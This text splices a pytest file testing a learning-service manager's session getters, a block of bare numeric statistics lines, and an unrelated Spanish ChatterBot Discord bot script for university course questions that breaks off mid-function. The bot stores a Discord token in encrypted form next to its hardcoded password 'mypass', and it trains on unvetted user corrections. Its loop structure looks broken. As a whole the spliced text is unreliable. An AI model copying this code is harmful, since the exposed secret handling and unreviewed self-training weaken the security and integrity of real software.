# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_admin():
self.svc_mgr.get_objective_bank_admin_session()
def test_get_objective_bank_hierarchy_session(self):
"""Tests get_objective_bank_hierarchy_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_hierarchy():
self.svc_mgr.get_objective_bank_hierarchy_session()
def test_get_objective_bank_hierarchy_design_session(self):
"""Tests get_objective_bank_hierarchy_design_session"""
# From tests_templates/resource.py::ResourceManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_hierarchy_design():
self.svc_mgr.get_objective_bank_hierarchy_design_session()
def test_get_learning_batch_manager(self):
"""Tests get_learning_batch_manager"""
# From tests_templates/resource.py::ResourceManager::get_resource_batch_manager_template
if self.svc_mgr.supports_learning_batch():
self.svc_mgr.get_learning_batch_manager()
class NotificationReceiver(object):
# Implemented from resource.ResourceProxyManager
pass
@pytest.fixture(scope="class",
params=['TEST_SERVICE', 'TEST_SERVICE_ALWAYS_AUTHZ', 'TEST_SERVICE_NEVER_AUTHZ', 'TEST_SERVICE_CATALOGING', 'TEST_SERVICE_FILESYSTEM', 'TEST_SERVICE_MEMCACHE'])
def learning_proxy_manager_class_fixture(request):
# Implemented from resource.ResourceProxyManager
request.cls.service_config = request.param
request.cls.svc_mgr = Runtime().get_service_manager(
'LEARNING',
proxy=PROXY,
implementation=request.cls.service_config)
if not is_never_authz(request.cls.service_config):
create_form = request.cls.svc_mgr.get_objective_bank_form_for_create([])
create_form.display_name = 'Test ObjectiveBank'
create_form.description = 'Test ObjectiveBank for learning proxy manager tests'
catalog = request.cls.svc_mgr.create_objective_bank(create_form)
request.cls.catalog_id = catalog.get_id()
else:
request.cls.catalog_id = Id('resource.Resource%3A000000000000000000000000%40DLKIT.MIT.EDU')
request.cls.receiver = NotificationReceiver()
def class_tear_down():
if not is_never_authz(request.cls.service_config):
request.cls.svc_mgr.delete_objective_bank(request.cls.catalog_id)
request.addfinalizer(class_tear_down)
@pytest.fixture(scope="function")
def learning_proxy_manager_test_fixture(request):
# Implemented from resource.ResourceProxyManager
pass
@pytest.mark.usefixtures("learning_proxy_manager_class_fixture", "learning_proxy_manager_test_fixture")
class TestLearningProxyManager(object):
"""Tests for LearningProxyManager"""
def test_get_objective_lookup_session(self):
"""Tests get_objective_lookup_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_objective_lookup():
self.svc_mgr.get_objective_lookup_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_lookup_session()
def test_get_objective_lookup_session_for_objective_bank(self):
"""Tests get_objective_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_objective_lookup():
self.svc_mgr.get_objective_lookup_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_lookup_session_for_objective_bank()
def test_get_objective_query_session(self):
"""Tests get_objective_query_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_objective_query():
self.svc_mgr.get_objective_query_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_query_session()
def test_get_objective_query_session_for_objective_bank(self):
"""Tests get_objective_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_objective_query():
self.svc_mgr.get_objective_query_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_query_session_for_objective_bank()
def test_get_objective_admin_session(self):
"""Tests get_objective_admin_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_admin():
self.svc_mgr.get_objective_admin_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_admin_session()
def test_get_objective_admin_session_for_objective_bank(self):
"""Tests get_objective_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_admin():
self.svc_mgr.get_objective_admin_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_admin_session_for_objective_bank()
def test_get_objective_hierarchy_session(self):
"""Tests get_objective_hierarchy_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_hierarchy():
self.svc_mgr.get_objective_hierarchy_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_session()
def test_get_objective_hierarchy_session_for_objective_bank(self):
"""Tests get_objective_hierarchy_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_hierarchy():
self.svc_mgr.get_objective_hierarchy_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_session_for_objective_bank()
def test_get_objective_hierarchy_design_session(self):
"""Tests get_objective_hierarchy_design_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_hierarchy_design():
self.svc_mgr.get_objective_hierarchy_design_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_design_session()
def test_get_objective_hierarchy_design_session_for_objective_bank(self):
"""Tests get_objective_hierarchy_design_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_hierarchy_design():
self.svc_mgr.get_objective_hierarchy_design_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_hierarchy_design_session_for_objective_bank()
def test_get_objective_sequencing_session(self):
"""Tests get_objective_sequencing_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_sequencing():
self.svc_mgr.get_objective_sequencing_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_sequencing_session()
def test_get_objective_sequencing_session_for_objective_bank(self):
"""Tests get_objective_sequencing_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_sequencing():
self.svc_mgr.get_objective_sequencing_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_sequencing_session_for_objective_bank()
def test_get_objective_objective_bank_session(self):
"""Tests get_objective_objective_bank_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_objective_bank():
self.svc_mgr.get_objective_objective_bank_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_objective_bank_session()
def test_get_objective_objective_bank_assignment_session(self):
"""Tests get_objective_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_objective_bank_assignment():
self.svc_mgr.get_objective_objective_bank_assignment_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_objective_bank_assignment_session()
def test_get_objective_requisite_session(self):
"""Tests get_objective_requisite_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_requisite():
self.svc_mgr.get_objective_requisite_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_session()
def test_get_objective_requisite_session_for_objective_bank(self):
"""Tests get_objective_requisite_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_requisite():
self.svc_mgr.get_objective_requisite_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_session_for_objective_bank()
def test_get_objective_requisite_assignment_session(self):
"""Tests get_objective_requisite_assignment_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_requisite_assignment():
self.svc_mgr.get_objective_requisite_assignment_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_assignment_session()
def test_get_objective_requisite_assignment_session_for_objective_bank(self):
"""Tests get_objective_requisite_assignment_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_objective_requisite_assignment():
self.svc_mgr.get_objective_requisite_assignment_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_requisite_assignment_session_for_objective_bank()
def test_get_activity_lookup_session(self):
"""Tests get_activity_lookup_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_activity_lookup():
self.svc_mgr.get_activity_lookup_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_lookup_session()
def test_get_activity_lookup_session_for_objective_bank(self):
"""Tests get_activity_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_activity_lookup():
self.svc_mgr.get_activity_lookup_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_lookup_session_for_objective_bank()
def test_get_activity_query_session(self):
"""Tests get_activity_query_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_activity_query():
self.svc_mgr.get_activity_query_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_query_session()
def test_get_activity_query_session_for_objective_bank(self):
"""Tests get_activity_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_activity_query():
self.svc_mgr.get_activity_query_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_query_session_for_objective_bank()
def test_get_activity_admin_session(self):
"""Tests get_activity_admin_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_admin():
self.svc_mgr.get_activity_admin_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_admin_session()
def test_get_activity_admin_session_for_objective_bank(self):
"""Tests get_activity_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_activity_admin():
self.svc_mgr.get_activity_admin_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_admin_session_for_objective_bank()
def test_get_activity_objective_bank_session(self):
"""Tests get_activity_objective_bank_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_objective_bank():
self.svc_mgr.get_activity_objective_bank_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_objective_bank_session()
def test_get_activity_objective_bank_assignment_session(self):
"""Tests get_activity_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_activity_objective_bank_assignment():
self.svc_mgr.get_activity_objective_bank_assignment_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_activity_objective_bank_assignment_session()
def test_get_proficiency_lookup_session(self):
"""Tests get_proficiency_lookup_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_proficiency_lookup():
self.svc_mgr.get_proficiency_lookup_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_lookup_session()
def test_get_proficiency_lookup_session_for_objective_bank(self):
"""Tests get_proficiency_lookup_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_proficiency_lookup():
self.svc_mgr.get_proficiency_lookup_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_lookup_session_for_objective_bank()
def test_get_proficiency_query_session(self):
"""Tests get_proficiency_query_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_template
if self.svc_mgr.supports_proficiency_query():
self.svc_mgr.get_proficiency_query_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_query_session()
def test_get_proficiency_query_session_for_objective_bank(self):
"""Tests get_proficiency_query_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_lookup_session_for_bin_template
if self.svc_mgr.supports_proficiency_query():
self.svc_mgr.get_proficiency_query_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_query_session_for_objective_bank()
def test_get_proficiency_admin_session(self):
"""Tests get_proficiency_admin_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_proficiency_admin():
self.svc_mgr.get_proficiency_admin_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_admin_session()
def test_get_proficiency_admin_session_for_objective_bank(self):
"""Tests get_proficiency_admin_session_for_objective_bank"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_for_bin_template
if self.svc_mgr.supports_proficiency_admin():
self.svc_mgr.get_proficiency_admin_session_for_objective_bank(self.catalog_id, PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_admin_session_for_objective_bank()
def test_get_proficiency_objective_bank_assignment_session(self):
"""Tests get_proficiency_objective_bank_assignment_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_proficiency_objective_bank_assignment():
self.svc_mgr.get_proficiency_objective_bank_assignment_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_proficiency_objective_bank_assignment_session()
def test_get_objective_bank_lookup_session(self):
"""Tests get_objective_bank_lookup_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_lookup():
self.svc_mgr.get_objective_bank_lookup_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_bank_lookup_session()
def test_get_objective_bank_admin_session(self):
"""Tests get_objective_bank_admin_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_admin():
self.svc_mgr.get_objective_bank_admin_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_bank_admin_session()
def test_get_objective_bank_hierarchy_session(self):
"""Tests get_objective_bank_hierarchy_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_hierarchy():
self.svc_mgr.get_objective_bank_hierarchy_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_bank_hierarchy_session()
def test_get_objective_bank_hierarchy_design_session(self):
"""Tests get_objective_bank_hierarchy_design_session"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_admin_session_template
if self.svc_mgr.supports_objective_bank_hierarchy_design():
self.svc_mgr.get_objective_bank_hierarchy_design_session(PROXY)
with pytest.raises(errors.NullArgument):
self.svc_mgr.get_objective_bank_hierarchy_design_session()
def test_get_learning_batch_proxy_manager(self):
"""Tests get_learning_batch_proxy_manager"""
# From tests_templates/resource.py::ResourceProxyManager::get_resource_batch_proxy_manager_template
if self.svc_mgr.supports_learning_batch():
self.svc_mgr.get_learning_batch_proxy_manager()
| 54.406716
| 176
| 0.772695
| 5,326
| 43,743
| 5.834773
| 0.023658
| 0.097052
| 0.065324
| 0.053128
| 0.959905
| 0.935513
| 0.890076
| 0.858444
| 0.827005
| 0.81468
| 0
| 0.001453
| 0.150538
| 43,743
| 803
| 177
| 54.474471
| 0.834867
| 0.277599
| 0
| 0.693446
| 0
| 0
| 0.030262
| 0.021219
| 0
| 0
| 0
| 0
| 0.065539
| 1
| 0.243129
| false
| 0.010571
| 0.016913
| 0
| 0.270613
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
0e075f888ec5f37c53a6502272a6afa8aa2398ac
| 13,987
|
py
|
Python
|
Chatbot.py
|
CeFlorian/ChatBot
|
ed836af61aeba32b0958afa60b301a1642e23ee0
|
[
"MIT"
] | null | null | null |
Chatbot.py
|
CeFlorian/ChatBot
|
ed836af61aeba32b0958afa60b301a1642e23ee0
|
[
"MIT"
] | null | null | null |
Chatbot.py
|
CeFlorian/ChatBot
|
ed836af61aeba32b0958afa60b301a1642e23ee0
|
[
"MIT"
] | null | null | null |
from chatterbot import ChatBot
from chatterbot.trainers import ListTrainer
from chatterbot.trainers import ChatterBotCorpusTrainer
import discord
import base64
from Crypto import Random
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
def cipherAES(password, iv):
key = SHA256.new(password).digest()
return AES.new(key, AES.MODE_CFB, iv)
def encrypt2(plaintext, password):
iv = Random.new().read(AES.block_size)
return base64.b64encode(iv + cipherAES(password, iv).encrypt(plaintext))
def decrypt2(ciphertext, password):
d = base64.b64decode(ciphertext)
iv, ciphertext = d[:AES.block_size], d[AES.block_size:]
return cipherAES(password, iv).decrypt(ciphertext)
llaveEncripted = 'p0mrDTEWG1J2H2ezuNlV5viGNT1W2SAW5qCXr2YAoUSjdFhXPVNIxVO5PJkQdtvky3oVuUtWAutTu9z/dQLBD0MWKQoZmhhcXiDb'
llave = decrypt2(llaveEncripted, b'mypass').decode("utf-8")
chat = ChatBot('Boty')
"""
talk = ['Hola', 'Que tal',
'Tengo una pregunta', 'Si, dime',
'Cuantos cursos puedo llevar en la univerisidad?', 'Lo normal son 5 cursos, para mas información acerca de los cursos y requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Cuales cursos puedo llevar en el semestre?', 'Dime de que semestre quieres conocer los cursos que corresponden',
'Primer ciclo', 'Al primer semestre correponden los siguientes cursos:\n 1590-001. DESARROLLO HUMANO Y PROFESIONAL,\n 1590-002. METODOLOGIA DE LA INVESTIGACION,\n 1590-003. CONTABILIDAD I,\n 1590-004. INTRODUCCION A LOS SISTEMAS DE COMPUTO,\n 1590-005. LOGICA DE SISTEMAS,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Segundo ciclo', 'Al segundo semestre correponden los siguientes cursos:\n 1590-006. PRECALCULO,\n 1590-007. ALGEBRA LINEAL,\n 1590-008. ALGORITMOS,\n 1590-009. CONTABILIDAD II,\n 1590-010. MATEMATICA DISCRETA,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Tercer ciclo', 'Al tercer semestre correponden los siguientes cursos:\n 1590-011. FISICA I,\n 1590-012. PROGRAMACION I,\n 1590-013. CALCULO I,\n 1590-014. PROCESO ADMINISTRATIVO,\n 1590-015. DERECHO INFORMATICO,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Cuarto ciclo', 'Al cuarto semestre correponden los siguientes cursos:\n 1590-016. MICROECONOMIA,\n 1590-017. PROGRAMACION II,\n 1590-018. CALCULO II,\n 1590-019. ESTADISTICA I,\n 1590-020. FISICA II,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Quinto ciclo', 'Al quinto semestre correponden los siguientes cursos:\n 1590-021. METODOS NUMERICOS,\n 1590-022. PROGRAMACION III,\n 1590-023. EMPRENDEDORES DE NEGOCIOS,\n 1590-024. ELECTRONICA ANALOGICA,\n 1590-025. ESTADISTICA II,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Sexto ciclo','Al sexto semestre correponden los siguientes cursos: 1590026 INVESTIGACION DE OPERACIONES. 1590027 BASES DE DATOS. 1590028 AUTOMATAS Y LENGUAJES FORMALES. 1590029 SISTEMAS OPERATIVOS I. 1590030 ELECTRONICA DIGITAL.',
'Septimo ciclo', 'Al septimo semestre correponden los siguientes cursos: 1590031 BASES DE DATOS II. 1590032 ANALISIS DE SISTEMAS I. 1590033 SISTEMAS OPERATIVOS II. 1590034 ARQUITECTURA DE COMPUTADORAS I. 1590035 COMPILADORES.',
'Octavo ciclo', 'Al octavo semestre correponden los siguientes cursos: 1590036 DESARROLLO WEB. 1590037 ANALISIS DE SISTEMAS II. 1590038 REDES DE COMPUTADORAS I. 1590039 ETICA PROFESIONAL. 1590040 ARQUITECTURA DE COMPUTADORAS II.',
'Noveno ciclo', 'Al noveno semestre correponden los siguientes cursos: 1590041 ADMINISTRACION DE TECNOLOGIAS DE INFORMACION. 1590042 INGENIERIA DE SOFTWARE. 1590043 PROYECTOD DE GRADUACION I. 1590044 REDES DE COMPUTADORAS II. 1590045 INTELIGENCIA ARTIFICIA.',
'Decimo ciclo','Al decimo semestre correponden los siguientes cursos: 1590046 TELECOMUNICACIONES. 1590047 SEMINARIOS DE TECNOLOGIAS DE INFORMACION. 1590048 ASEGURAMIENTO DE LA CALIDAD DEL SOFTWARE. 1590049 PROYECTO DE GRADUACION II. 1590050 SEGURIDAD Y AUDITORIA DE SISTEMAS.',
'Como puedo inscribirme en linea?', 'Los pasos para inscribirse son: 1. Entregar documentación en Registro y Control Académico\n 2. Pago de Matrícula\n 3. Asignación de Cursos. Los pagos puedes hacerlos por medio de la pagina de la Universidad: https://apps2.umg.edu.gt/pagos/,\r\n o\r por medio de tu banca en linea. \n Para obtener mas información sobre requisitos de ingreso visitar: https://umg.edu.gt/info/aspirantes \n Y para llenar formulario de nuevo estudiante visitar: https://apps2.umg.edu.gt/nuevosestudiantes/ Y para información sobre inscripciones visitar https://umg.edu.gt/info/inscripciones \n Y para asignar cursos en linea puedes visitar: https://umg.edu.gt/info/estudiantes/asignaciones',
'Cuales son los pasos para graduarme', 'Son los siguientes: a) 1000 horas de práctica laboral profesional: a partir del 7mo. ciclo b) Evaluación general en áreas de conocimiento (escalonado en 3 etapas): 1. Area de ciencias de la ingeniería: aprobado del 1 al 6o ciclo e inglés intermedios 4. 2. Área de análisis, diseño y Desarrollo: Aprobados del 1o. al 8o. ciclos e inglés avanzados II 3. Área de administración de tecnologías de información: Aprobados del 1o. al 10o. ciclo e inglés avanzados IV c) Trabajo de graduación ó 50% de créditos de una de las maestrías autorizadas.',
'Como hago un examen extraordinario', 'Debes de pagar 100 quetzales en tu banco y luego presentarsela a tu catedratico para tener el derecho',
'Por que no veo mi nota en el sistema', 'Puede ser por dos razones:\n 1.No estas solvente\n 2.No te examinaste',
'Cual es el proceso de cierre?, 'El proceso de cierre es el siguiente, debes tener ganados los 50 cursos que tiene la carrera para que puedas cerrar tu pensum.',
'Como apruebo mi proyecto de graduación?', '.Llevar un control de las asesorías y entrega de borradores de su Trabajo, al docente asesor y al revisor, por medio escrito haciendo constar fechas de entrega y devolución de los mismos, con las correcciones o enmiendas pertinentes. En otras palabras, el estudiante deberá llevar una bitácora del desarrollo del Trabajo de Graduación. Para mas info visita:http://cdn.umg.edu.gt/pdf/pregrados/arquitectura/normativos/normativo_trabajo_graduacion.pdf'
'Muchas gracias', 'Es un placer, Saludos']
"""
trainer = ChatterBotCorpusTrainer(chat)
trainer.train("chatterbot.corpus.spanish")
trainer = ListTrainer(chat)
#trainer.train(talk)
trainer.train(['Hola', 'Hola, como te va?',
'Tengo una pregunta', 'Si, dime...'
])
trainer.train(['como puedo inscribirme en linea', 'Los pasos para inscribirse son: 1. Entregar documentación en Registro y Control Académico\n 2. Pago de Matrícula\n 3. Asignación de Cursos. Los pagos puedes hacerlos por medio de la pagina de la Universidad: https://apps2.umg.edu.gt/pagos/,\r\n o\r por medio de tu banca en linea. \n Para obtener mas información sobre requisitos de ingreso visitar: https://umg.edu.gt/info/aspirantes \n Y para llenar formulario de nuevo estudiante visitar: https://apps2.umg.edu.gt/nuevosestudiantes/ Y para información sobre inscripciones visitar https://umg.edu.gt/info/inscripciones \n Y para asignar cursos en linea puedes visitar: https://umg.edu.gt/info/estudiantes/asignaciones',
'Cuales son los pasos para graduarme', 'Son los siguientes: a) 1000 horas de práctica laboral profesional: a partir del 7mo. ciclo b) Evaluación general en áreas de conocimiento (escalonado en 3 etapas): 1. Area de ciencias de la ingeniería: aprobado del 1 al 6o ciclo e inglés intermedios 4. 2. Área de análisis, diseño y Desarrollo: Aprobados del 1o. al 8o. ciclos e inglés avanzados II 3. Área de administración de tecnologías de información: Aprobados del 1o. al 10o. ciclo e inglés avanzados IV c) Trabajo de graduación ó 50% de créditos de una de las maestrías autorizadas.',
'como hago un examen extraordinario', 'Debes de pagar 100 quetzales en tu banco y luego presentarsela a tu catedratico para tener el derecho',
'por que no veo mi nota en el sistema', 'Puede ser por dos razones:\n 1.No estas solvente\n 2.No te examinaste',
'muchas gracias', 'Es un placer, Saludos'
])
trainer.train(['cuales y que cursos puedo llevar en el semestre', 'Dime de que semestre quieres conocer los cursos que corresponden',
'cuantos cursos llevaria en la U Universidad', 'Lo normal son 5 cursos, para mas información acerca de los cursos y requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'primer 1er 1 ciclo', 'Al primer semestre correponden los siguientes cursos:\n 1590-001. DESARROLLO HUMANO Y PROFESIONAL,\n 1590-002. METODOLOGIA DE LA INVESTIGACION,\n 1590-003. CONTABILIDAD I,\n 1590-004. INTRODUCCION A LOS SISTEMAS DE COMPUTO,\n 1590-005. LOGICA DE SISTEMAS,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'segundo 2do 2 ciclo', 'Al segundo semestre correponden los siguientes cursos:\n 1590-006. PRECALCULO,\n 1590-007. ALGEBRA LINEAL,\n 1590-008. ALGORITMOS,\n 1590-009. CONTABILIDAD II,\n 1590-010. MATEMATICA DISCRETA,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'tercer 3ro 3 ciclo', 'Al tercer semestre correponden los siguientes cursos:\n 1590-011. FISICA I,\n 1590-012. PROGRAMACION I,\n 1590-013. CALCULO I,\n 1590-014. PROCESO ADMINISTRATIVO,\n 1590-015. DERECHO INFORMATICO,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'cuarto 4to 4 ciclo', 'Al cuarto semestre correponden los siguientes cursos:\n 1590-016. MICROECONOMIA,\n 1590-017. PROGRAMACION II,\n 1590-018. CALCULO II,\n 1590-019. ESTADISTICA I,\n 1590-020. FISICA II,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'quinto ciclo', 'Al quinto semestre correponden los siguientes cursos:\n 1590-021. METODOS NUMERICOS,\n 1590-022. PROGRAMACION III,\n 1590-023. EMPRENDEDORES DE NEGOCIOS,\n 1590-024. ELECTRONICA ANALOGICA,\n 1590-025. ESTADISTICA II,\n para mas información acerca de los cursos y sus requisitos puedes visitar: https://apps2.umg.edu.gt/pensum',
'Sexto ciclo','Al sexto semestre correponden los siguientes cursos: 1590026 INVESTIGACION DE OPERACIONES. 1590027 BASES DE DATOS. 1590028 AUTOMATAS Y LENGUAJES FORMALES. 1590029 SISTEMAS OPERATIVOS I. 1590030 ELECTRONICA DIGITAL.',
'Septimo ciclo', 'Al septimo semestre correponden los siguientes cursos: 1590031 BASES DE DATOS II. 1590032 ANALISIS DE SISTEMAS I. 1590033 SISTEMAS OPERATIVOS II. 1590034 ARQUITECTURA DE COMPUTADORAS I. 1590035 COMPILADORES.',
'Octavo ciclo', 'Al octavo semestre correponden los siguientes cursos: 1590036 DESARROLLO WEB. 1590037 ANALISIS DE SISTEMAS II. 1590038 REDES DE COMPUTADORAS I. 1590039 ETICA PROFESIONAL. 1590040 ARQUITECTURA DE COMPUTADORAS II.',
'Noveno ciclo', 'Al noveno semestre correponden los siguientes cursos: 1590041 ADMINISTRACION DE TECNOLOGIAS DE INFORMACION. 1590042 INGENIERIA DE SOFTWARE. 1590043 PROYECTOD DE GRADUACION I. 1590044 REDES DE COMPUTADORAS II. 1590045 INTELIGENCIA ARTIFICIA.',
'Decimo ciclo','Al decimo semestre correponden los siguientes cursos: 1590046 TELECOMUNICACIONES. 1590047 SEMINARIOS DE TECNOLOGIAS DE INFORMACION. 1590048 ASEGURAMIENTO DE LA CALIDAD DEL SOFTWARE. 1590049 PROYECTO DE GRADUACION II. 1590050 SEGURIDAD Y AUDITORIA DE SISTEMAS.',
])
#"""
#while True:
# peticion = input('Tu: ')
# respuesta = chat.get_response(peticion)
# print('BOOT: ', respuesta)
disparate='Así no va!'
entradaAnterior=""
respAnterior=""
async def validaciones(peticion):
global disparate
global entradaAnterior
global respAnterior
if respAnterior == '¿Qué debería haber dicho?':
entradaCorreccion = peticion
trainer.train([entradaAnterior, entradaCorreccion])
respuesta = "He aprendiendo que cuando digas {} debo responder {}".format(entradaAnterior, entradaCorreccion)
elif peticion == disparate:
respuesta = '¿Qué debería haber dicho?'
else:
entradaAnterior = peticion
respuesta = chat.get_response(peticion)
respAnterior = respuesta
return respuesta
while True:
cliente = discord.Client()
@cliente.event
async def on_message(mensaje):
if mensaje.author == cliente.user:
